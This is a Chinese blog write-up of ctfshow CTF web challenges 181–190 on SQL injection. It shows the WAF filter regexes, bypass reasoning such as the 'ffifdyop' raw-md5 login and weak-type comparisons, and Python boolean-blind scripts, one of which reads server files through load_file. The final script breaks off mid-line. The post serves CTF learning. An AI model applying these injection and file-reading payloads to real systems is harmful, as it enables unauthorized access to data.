您当前的位置: 首页 >  sql

九枕

暂无认证

  • 3浏览

    0关注

    42博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

ctfshow学习记录-web入门(sql注入181-190)

九枕 发布时间:2022-09-24 23:09:05 ,浏览量:3

目录
    • web181
    • web182
    • web183
    • web184
    • web185
    • web186
    • web187
    • web188
    • web189
    • web190

web181

解答:waf过滤了很多。 在这里插入图片描述在这里插入图片描述

空格过滤了很多,select也被过滤了。

题目的where语句处是and连接两个条件。可以考虑运算符优先级。

mysql操作符优先级:(数字越大,优先级越高)

优先级运算符1:=2|| , OR , XOR3&& , AND4NOT5BETWEEN, CASE, WHEN, THEN, ELSE6=, , >=, >, 0: print("++++++++++++++++ {} is right".format(x)) flag+=x break else: continue print("ctfshow{"+flag)

在这里插入图片描述

循环次数写的有点多,可以加个if判断,或者看到flag手动中断。

web185

题目:

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

解答: 数字被过滤了,就要考虑如何构造纯字母的匹配。 翻阅官方文档的字符串方法和操作部分,发现concat方法,可以构造字符串。 在这里插入图片描述

(跟着群主的做题路线走,终有一天可以成为大神,哈哈哈) 然后测试看看是否可以构造字符,成功将数字拼接。 在这里插入图片描述

然后就是各种试错,直到找到能跑出结果的paylaod。(附上最后本地跑出的字符串,可喜可贺~) 在这里插入图片描述

最后上脚本: (我的formatString是自己写的,看着有些啰嗦哈,没有群主的简洁)

import requests
import time
import string

def formatString(str):
    temp="concat("
    for x in str:
        tip=0
        if x in string.digits:
            tmp=int(x)
        else:
            tip=1
            temp+="char("
            tmp=ord(x)
        if tmp == 0:
            temp+="false"
        else:
            temp_d="("
            for i in range(0,tmp):
                temp_d+="true+"
            temp_d=temp_d[:-1]+")"
            if tip==1:
                temp_d+=")"
            temp+=temp_d
        temp+=","
    temp=temp[:-1]+")"
    return temp

#print(formatString("0x63746673686f777b"))

url="http://d2f644f5-968d-4301-b037-267c7b183b0e.challenge.ctf.show/select-waf.php"
#dic的顺序可以改一下!我是懒得改了!改顺序可以提高效率!!!
dic="ctfshow{qeryuipadgjklzxvbnm0123456789-}_"
flag="ctfshow{"
for i in range(0,40):
    for x in dic:
        data={
            "tableName":"ctfshow_user group by pass having pass regexp({})".format(formatString(flag+x))
        }
        #print(data)
        response=requests.post(url,data=data)
        time.sleep(0.3)
        if response.text.find("$user_count = 1;")>0:
            print("[**] {} is right".format(x))
            flag+=x
            break
        else:
            #print("[--] {} is wrong".format(x))
            continue
    print("[flag]:"+flag)
web186

题目:

function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

解答:增加了尖括号,^%的过滤。 上题的payload可用。

web187

题目:是个用户登录窗口 在这里插入图片描述 解答:本题和web181类似,都是通过1 and 0 or 1达到目的。 题中$password = md5($_POST['password'],true);,将md5函数的第二参数设置为了true。

string md5( string $str[, bool $raw_output = false] )

  • raw_output:如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。

这里的二进制格式,并不是指转成0101,而是binary mode。

对这个函数的进行本地测试,看一下: 在这里插入图片描述

ffifdyop是一个特殊的字符串,类似万能密码。还有129581926211651571912466741651878684928也可以达到同样的效果。

通过本题测试可知,设置为true后,sql在查询时的语句就变成了:

$sql = "select count(*) from ctfshow_user where username = 'admin' and password= ''or'6�]��!r,��b';

在官方手册中,指出比较操作中值有1(TRUE),0(FALSE)或者NULL。字符串可以自动转换为数字。 在这里插入图片描述

下面是字符串转换为数字的操作实例: 所以上面的sql语句就构成了1 and 0 or 1这样的操作,也就实现了admin登录。 在这里插入图片描述

然后就直接用admin和ffifdyop登录即可获取flag。这里注意抓包,或者看源码。 在这里插入图片描述

web188

解答:根据题目可知只要登录成功,就会返回flag。密码只能输入数字。

查询语句的where判断是username={$username},并没有引号包裹,那么就可以输入数字了。

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。(具体的在web187中有提到)

然后再来看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。 在这里插入图片描述

成功登录,获取到了flag。 在这里插入图片描述

web189

提示:flag在api/index.php文件中 解答:password依然是弱比较。 注入点在username,需要通过它来读取api/index.php文件的内容。看一下username的过滤,or|select都被过滤了,不能直接联合查询了,into不能写入文件。 在这里插入图片描述

那么用load_file读取文件,文件的完整路径是/var/www/html/api/index.php,对文件内容读取形式采取逐字符if判断的盲注形式。看一下登录的返回情况有没有差别: username=0、password=0时,返回“密码错误”。(说明存在用户,但是密码错误) username=1、password=0时,返回“查询失败”。(说明用户不存在) 在这里插入图片描述

那么就可以利用这个进行布尔盲注,适当修改web183的脚本即可。

群主的脚本,上!

import requests
import time

url = "http://dc02940d-e22b-4796-ab0f-04bdf57d3a9f.challenge.ctf.show/api/"
flagstr = "}{$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
	for x in flagstr:
		data={
		"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
		"password":"0"
		}
		print(data)
		response = requests.post(url,data=data)
		time.sleep(0.3)
		# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
		if response.text.find("8d25")>0:
			print("++++++++++++++++++ {} is right".format(x))
			flag+=x
			break
		else:
			continue
	print(flag)
web190

解答:这次的查询语句里加上了单引号:username = '{$username}'。 密码依然是和数字弱类型比较。

单引号闭合看一下。 在这里插入图片描述

登录的返回逻辑和上题一样,所以还是用布尔盲注,没有啥过滤。 采用二分法:

import requests
import sys
import time

url = "http://36e8713a-b1fb-49c2-badb-4c4d66f5d1cb.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ascii(substr((select database()),{},1))            
关注
打赏
1662624000
查看更多评论
0.0385s